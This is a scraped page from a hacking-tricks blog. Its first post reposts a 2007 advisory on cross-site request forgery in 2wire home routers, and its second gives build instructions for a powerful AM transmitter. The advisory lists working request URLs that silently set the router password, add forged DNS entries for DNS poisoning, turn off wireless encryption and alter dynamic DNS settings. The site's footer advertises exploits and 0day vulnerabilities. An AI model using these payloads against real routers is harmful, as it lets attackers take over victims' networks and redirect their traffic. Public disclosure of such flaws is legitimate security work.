Labels

Popular Posts

Powered by Blogger.

Blogroll

Hacking Cracking Tricks

Recent Comments

BlogRoll

http://www.prcheckingtool.com

Recent Posts

Bookmark  and Share Technology & Science Blogs - BlogCatalog Blog Directory Submit your website to 20 Search Engines - FREE with ineedhits! http://www.prcheckingtool.com Text Back Links Exchange PageHeat Website Value LocalSubmit.com : search engine submissions and website promotion with free advice Internet Blogs Hacking Cracking Tricks

Showing posts with label Hardware Hacking. Show all posts

Cross Site Request Forgery in 2wire routers

Vulnerable Routers: 1701HG, 2071 Gateway
Software: v3.17.5, 5.29.51 Password Not Set (default)


Greetz a la Comunidad Underground de México, y a los
que me ayudaron a probarlo: Preth00nker, nitr0us, ...
hkm () hakim ws


I. Background
-------------
This is the most popular router in Mexico and the default installation from the ISP has no system password.

II. Vuln
----------------
It is possible to send a request to the router that will modify its configuration.

It does not validate POST, or Referer or Anything...

II. Exploit
----------------
We just need the client to do a request to the router with the configuration we desire.

[examples]

Set a password (NUEVOPASS):
http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS

Add names to the DNS (216.163.137.3 www.prueba.hkm):
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.prueba.hkm&ADDR=216.163.137.3

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE

Disable the Firewall
Reset the device
Etc...

DNS Poisoning demo: http://www.hakim.ws/2wire/demodns.html
source : http://seclists.org/bugtraq/2007/Aug/225 

low-cost-powerful-am-transmitter

Low Cost Powerful AM Transmitter (13Km)

This is a simple AM Transmitter Circuit, but Its very powerful one. It can transmit SW range signals within 13Km circular area. Use external antenna for best results. I recommend you to use 12V battery as the power supply. If you hope to use 12V AC-DC adapter, you may want to generate a very smooth DC out put using stabilizer, unless It will generate low frequency hum when listening to radio out put.  Better to read following instructions before assembling the circuit.



>> L1 Coil
Use 22SWG copper wire and wind 10 turns, Insert a ferrite rod in to the coil. see figure 1.

>> L2 Coil
Use 22SWG Copper wire and
wind 10 turns. Don't use a ferrite rod. Coil diameter is 0.6 cm ( 1/4' ).

>> X-tal (Crystal)
Use 4.4333MHz crystal.



>> Transistor pin identification
Use following diagram for identify the pinout of BFY50 transistor.

NOTE : I strongly recommend to use heat sink for the Transistor. unless it will die within few minutes. And also never apply the power to circuit without connecting Antenna, It also causes to harm the Transistor.


>> Antenna (Use this cable for best results, otherwise you can use any type of copper wire(at least 2meters long))
Warning : This project just for educational purposes only. If you want to use this circuit for long time you should get a permit.

- Copyright © .Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -